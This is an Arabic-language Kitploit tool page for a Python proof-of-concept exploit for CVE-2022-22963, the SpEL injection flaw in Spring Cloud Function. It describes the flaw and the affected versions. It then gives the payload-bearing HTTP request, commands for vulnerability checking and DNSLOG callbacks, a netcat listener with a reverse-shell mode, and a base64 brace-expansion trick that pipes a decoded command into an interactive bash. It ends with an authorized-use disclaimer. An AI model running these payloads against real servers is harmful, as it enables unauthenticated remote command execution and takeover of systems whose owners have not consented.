Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-22963 — CVE-2022-22963-poc | Kitploit
أدوات/GitHubGitHub/xmqaq/cve-2022-22963
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمر
GitHubxmqaq/cve-2022-22963

CVE-2022-22963

CVE-2022-22963-poc

عرض المستودع
1منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-22963

Python License

أداة كشف واستغلال ثغرة الحقن التعبيري SpEL في Spring Cloud Function لتنفيذ الأوامر عن بُعد.

نظرة عامة على الثغرة

CVE-2022-22963 هي ثغرة عالية الخطورة (CVSS 9.8) في وظيفة التوجيه (routing) في Spring Cloud Function. عند تمكين نقطة النهاية /functionRouter، يتم تنفيذ قيمة رأس الطلب spring.cloud.function.routing-expression مباشرةً كتعبير SpEL (Spring Expression Language)، مما يسمح للمهاجم دون مصادقة بتنفيذ أوامر عشوائية على الخادم الهدف.

الإصدارات المتأثرة:

الفرعالإصدارات المتأثرةالإصدار المُصحّح
3.1.x< 3.1.73.1.7
3.2.x< 3.2.33.2.3

مبدأ الثغرة:

root@kitploit:~
POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded

test

بعد تنفيذ SpEL، ترجع exec() كائن Process، وعند محاولة Spring تسلسله يتم إلقاء استثناء، فيستجيب الخادم بـ HTTP 500. يتم تنفيذ الأمر في الخلفية بشكل غير متزامن، لا يتم إرجاع النتيجة في استجابة HTTP، بل يجب تأكيدها عبر قنوات جانبية مثل DNSLOG أو Shell عكسي.

الوظائف

  • كشف الثغرة: تحفيز استجابة مميزة عبر SpEL لتحديد ما إذا كان الهدف عرضة للثغرة.
  • التحقق عبر DNSLOG: إرسال طلب ping إلى نطاق DNSLOG، وتأكيد تنفيذ الأمر عبر سجلات DNS.
  • Shell عكسي: استخدام ترميز base64 لتجاوز قيود المسافات، وإرسال Shell تفاعلي إلى عنوان محدد.

التثبيت

root@kitploit:~
pip install requests

Python 3.6+ بدون تبعيات إضافية.

طريقة الاستخدام

root@kitploit:~
python3 CVE-2022-22963.py -u <目标URL> [خيارات]

شرح الوسائط

كشف الثغرة

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -c
root@kitploit:~
2024-01-01 12:00:00 - INFO - [+] http://target.example.com يوجد ثغرة!

التحقق عبر DNSLOG

يُستخدم لتأكيد تنفيذ الأمر الفعلي في حالة عدم وجود استجابة مباشرة:

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn
root@kitploit:~
2024-01-01 12:00:01 - INFO - [+] تم إرسال الحمولة، يُرجى التحقق من abc123.dnslog.cn لاستلام طلب DNS (لتأكيد التنفيذ الفعلي)

ثم يتم مراجعة منصة DNSLOG لمعرفة ما إذا تم استلام استعلام DNS من عنوان IP الهدف.

Shell عكسي

على جهاز المهاجم، افتح مستمعًا:

root@kitploit:~
nc -lvnp 9999

أرسل الحمولة:

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999
root@kitploit:~
2024-01-01 12:00:02 - INFO - [+] تم إرسال الحمولة، انتظر الاتصال على 192.168.1.100:9999 (يدعم فقط Linux/bash)

ملاحظة: يعتمد الـ Shell العكسي على وجود دعم /dev/tcp في النظام الهدف، وهو مناسب فقط لبيئات Linux + bash، ولا يدعم أهداف Windows أو شل sh/ash/dash.

التفاصيل الفنية

مبدأ الكشف

يرسل طلب الكشف تعبير SpEL حقيقيًا إلى /functionRouter:

root@kitploit:~
T(java.lang.Runtime).getRuntime().exec('id')
  • في حالة وجود الثغرة: يتم تنفيذ SpEL، ولا يمكن تسلسل كائن Process → HTTP 500 + "path":"/functionRouter"
  • في حالة عدم وجود الثغرة: يتم تجاهل الرأس، ويفشل التوجيه → رمز الحالة أو المحتوى لا يتطابق مع الخصائص المذكورة

آلية ترميز الـ Shell العكسي

Runtime.exec(String) لا يمر عبر تفسير shell، بل يقوم بتقسيم سلسلة الأوامر حسب المسافات، ولا يمكنه التعامل مع الأنابيب وإعادة التوجيه. تتجاوز الأداة ذلك من خلال:

  1. ترميز أمر الـ Shell العكسي بـ base64 لإزالة الأحرف الخاصة
  2. استخدام توسيع الأقواس في bash {cmd,arg} بدلاً من المسافات
  3. في النهاية، يتم معالجة الأنابيب وإعادة التوجيه عبر وسيط -c في bash الهدف
root@kitploit:~
bash -c {echo,BASE64}|{base64,-d}|{bash,-i}
          ↕ Java exec تقوم بتقسيم حسب المسافات
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
          ↕ bash -c يقوم بتوسيع الأقواس للمعامل
echo BASE64 | base64 -d | bash -i

سجل التحديثات

التاريخالإصدارالشرح
2023-12-28v1.0الإصدار الأولي
2025-10-09v1.1إعادة هيكلة الكود، تحسين معالجة الوسائط ومعالجة الأخطاء
2026-06-29v1.2إصلاح الإنذارات الكاذبة في الكشف، ربط مسار context، مشكلة دلالة قيمة الإرجاع في الاستغلال

إخلاء المسؤولية

هذه الأداة مخصصة فقط لأغراض البحث الأمني، واختبار الاختراق المصرح به، والتعليم.

باستخدام هذه الأداة، فإنك توافق على:

  1. استخدامها فقط على الأنظمة التي حصلت على إذن كتابي صريح
  2. الامتثال لجميع القوانين واللوائح المعمول بها في منطقتك
  3. تحمل المسؤولية الكاملة عن جميع العواقب الناتجة عن استخدام هذه الأداة

لا يتحمل المؤلف أي مسؤولية عن أي استخدام غير مصرح به أو عواقبه.

تنزيل الأداة
الوسيطالشرحالقيمة الافتراضية
-u, --urlعنوان URL الهدف (إجباري)—
-c, --checkالتحقق من وجود الثغرة—
-m, --modeوضع الاستغلال: dnslog أو shell—
-d, --dnsنطاق DNSLOG (يُستخدم مع -m dnslog)—
-i, --ipعنوان IP المستقبل للـ Shell العكسي (يُستخدم مع -m shell)—
-p, --portمنفذ الاستقبال للـ Shell العكسي9999
-t, --timeoutمهلة الطلب بالثواني5